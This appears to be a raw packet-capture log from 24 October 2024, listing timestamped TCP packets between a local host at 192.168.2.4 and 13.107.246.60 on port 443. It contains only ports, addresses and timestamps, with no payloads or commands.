Oct 24, 2024 08:51:02.678391933 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.678467989 CEST	49859	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.678633928 CEST	49859	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.678644896 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.741285086 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.742099047 CEST	49856	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.742120981 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.742928982 CEST	49856	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.742938995 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.872425079 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.872507095 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.872782946 CEST	49856	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.880583048 CEST	49856	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.880620003 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.880635023 CEST	49856	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.880644083 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.889688969 CEST	49860	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.889751911 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.889868021 CEST	49860	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.891299963 CEST	49860	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.891336918 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.561220884 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.562508106 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.562690020 CEST	49859	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.562721014 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.562807083 CEST	49858	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.562825918 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.563210011 CEST	49859	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.563215017 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.563277960 CEST	49858	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.563282967 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.632585049 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.633333921 CEST	49860	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.633369923 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.633635044 CEST	49860	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.633645058 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.692874908 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.692949057 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.693098068 CEST	49859	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.693279982 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.693366051 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.693428993 CEST	49858	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.693521976 CEST	49858	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.693542004 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.693552971 CEST	49858	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.693557978 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.693568945 CEST	49859	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.693588972 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.696604013 CEST	49861	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.696640015 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.696836948 CEST	49861	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.696945906 CEST	49861	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.696954966 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.697226048 CEST	49862	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.697271109 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.697365046 CEST	49862	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.697679996 CEST	49862	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.697695971 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.762801886 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.765830994 CEST	49857	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.765857935 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.766194105 CEST	49857	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.766199112 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.766438961 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.766460896 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.766526937 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.766547918 CEST	49860	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.766640902 CEST	49860	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.766932964 CEST	49860	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.766952038 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.766964912 CEST	49860	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.766971111 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.770407915 CEST	49863	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.770435095 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.770556927 CEST	49863	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.770925045 CEST	49863	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.770931959 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.893960953 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.894013882 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.894104958 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.894117117 CEST	49857	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.894162893 CEST	49857	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.894404888 CEST	49857	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.894424915 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.894437075 CEST	49857	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.894443989 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.908415079 CEST	49864	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.908463955 CEST	443	49864	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:03.908566952 CEST	49864	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.908704042 CEST	49864	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:03.908719063 CEST	443	49864	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.003294945 CEST	443	49853	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.004260063 CEST	49853	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.004276991 CEST	443	49853	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.004719019 CEST	49853	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.004724026 CEST	443	49853	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.133740902 CEST	443	49853	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.133836985 CEST	443	49853	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.133902073 CEST	49853	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.134134054 CEST	49853	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.134159088 CEST	443	49853	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.134171963 CEST	49853	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.134177923 CEST	443	49853	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.142705917 CEST	49865	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.142752886 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.142822981 CEST	49865	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.143100977 CEST	49865	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.143120050 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.440510988 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.441090107 CEST	49862	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.441123962 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.441576004 CEST	49862	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.441582918 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.449532986 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.452580929 CEST	49861	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.452606916 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.453105927 CEST	49861	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.453110933 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.504590988 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.505537033 CEST	49863	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.505568027 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.506083012 CEST	49863	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.506091118 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.580658913 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.580712080 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.580840111 CEST	49861	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.580845118 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.580918074 CEST	49861	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.582463980 CEST	49861	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.582480907 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.582525015 CEST	49861	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.582530975 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.585084915 CEST	49866	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.585144997 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.585241079 CEST	49866	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.585361958 CEST	49866	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.585377932 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.613255978 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.613292933 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.613379955 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.613440990 CEST	49862	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.613473892 CEST	49862	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.613718987 CEST	49862	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.613744974 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.613759995 CEST	49862	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.613765955 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.616621971 CEST	49867	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.616723061 CEST	443	49867	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.616831064 CEST	49867	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.616977930 CEST	49867	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.617010117 CEST	443	49867	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.635957003 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.636027098 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.636086941 CEST	49863	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.643255949 CEST	49863	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.643280983 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.643301964 CEST	49863	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.643307924 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.643688917 CEST	443	49864	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.645114899 CEST	49864	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.645158052 CEST	443	49864	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.645601034 CEST	49864	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.645608902 CEST	443	49864	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.665982962 CEST	49868	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.666050911 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.666130066 CEST	49868	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.666471004 CEST	49868	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.666491985 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.774868011 CEST	443	49864	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.776072025 CEST	443	49864	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.776307106 CEST	49864	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.776307106 CEST	49864	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.776308060 CEST	49864	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.787862062 CEST	49869	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.787916899 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.788069963 CEST	49869	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.788197994 CEST	49869	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.788209915 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.888391972 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.917141914 CEST	49865	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.917195082 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:04.917829037 CEST	49865	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:04.917840004 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.045342922 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.045433044 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.045555115 CEST	49865	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.077780962 CEST	49864	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.077828884 CEST	443	49864	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.133934975 CEST	49865	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.133975029 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.134013891 CEST	49865	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.134021997 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.141767025 CEST	49870	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.141820908 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.141938925 CEST	49870	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.142067909 CEST	49870	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.142081022 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.329639912 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.333132982 CEST	49866	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.333177090 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.333739996 CEST	49866	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.333748102 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.348403931 CEST	443	49867	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.349025965 CEST	49867	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.349067926 CEST	443	49867	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.349632025 CEST	49867	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.349642992 CEST	443	49867	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.401000023 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.401711941 CEST	49868	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.401745081 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.402266979 CEST	49868	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.402275085 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.462408066 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.462496996 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.462601900 CEST	49866	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.462794065 CEST	49866	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.462820053 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.462835073 CEST	49866	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.462841988 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.467899084 CEST	49871	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.467946053 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.469748974 CEST	49871	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.469953060 CEST	49871	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.469963074 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.477984905 CEST	443	49867	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.478053093 CEST	443	49867	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.478128910 CEST	49867	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.478379965 CEST	49867	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.478401899 CEST	443	49867	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.478415012 CEST	49867	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.478420973 CEST	443	49867	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.486983061 CEST	49872	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.487029076 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.487122059 CEST	49872	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.487281084 CEST	49872	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.487294912 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.518475056 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.519113064 CEST	49869	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.519128084 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.519886971 CEST	49869	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.519891024 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.532797098 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.532882929 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.533144951 CEST	49868	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.540550947 CEST	49868	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.540596008 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.540613890 CEST	49868	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.540622950 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.557189941 CEST	49873	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.557315111 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.557451963 CEST	49873	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.557687044 CEST	49873	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.557713985 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.647914886 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.648062944 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.648185968 CEST	49869	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.648437023 CEST	49869	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.648437023 CEST	49869	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.648456097 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.648459911 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.655121088 CEST	49874	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.655244112 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.655354023 CEST	49874	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.655531883 CEST	49874	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.655570030 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.878537893 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.878994942 CEST	49870	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.879028082 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:05.879453897 CEST	49870	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:05.879460096 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.010406017 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.010478973 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.010680914 CEST	49870	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.018538952 CEST	49870	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.018573046 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.018587112 CEST	49870	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.018593073 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.021505117 CEST	49875	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.021600008 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.021698952 CEST	49875	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.021815062 CEST	49875	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.021835089 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.207406044 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.208081007 CEST	49872	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.208134890 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.208602905 CEST	49872	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.208616972 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.212675095 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.213198900 CEST	49871	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.213258982 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.213547945 CEST	49871	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.213562012 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.293692112 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.294560909 CEST	49873	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.294637918 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.295511007 CEST	49873	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.295530081 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.336532116 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.336616993 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.336838007 CEST	49872	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.337136030 CEST	49872	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.337136984 CEST	49872	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.337183952 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.337212086 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.342931032 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.343092918 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.343204021 CEST	49871	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.346163988 CEST	49871	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.346163988 CEST	49871	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.346229076 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.346290112 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.348514080 CEST	49876	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.348587036 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.348783970 CEST	49876	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.348854065 CEST	49876	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.348875046 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.348934889 CEST	49877	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.349035978 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.349111080 CEST	49877	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.349271059 CEST	49877	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.349302053 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.399756908 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.400969982 CEST	49874	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.401019096 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.401333094 CEST	49874	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.401340008 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.425151110 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.425208092 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.425260067 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.425497055 CEST	49873	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.425497055 CEST	49873	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.426049948 CEST	49873	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.426099062 CEST	443	49873	13.107.246.60	192.168.2.4
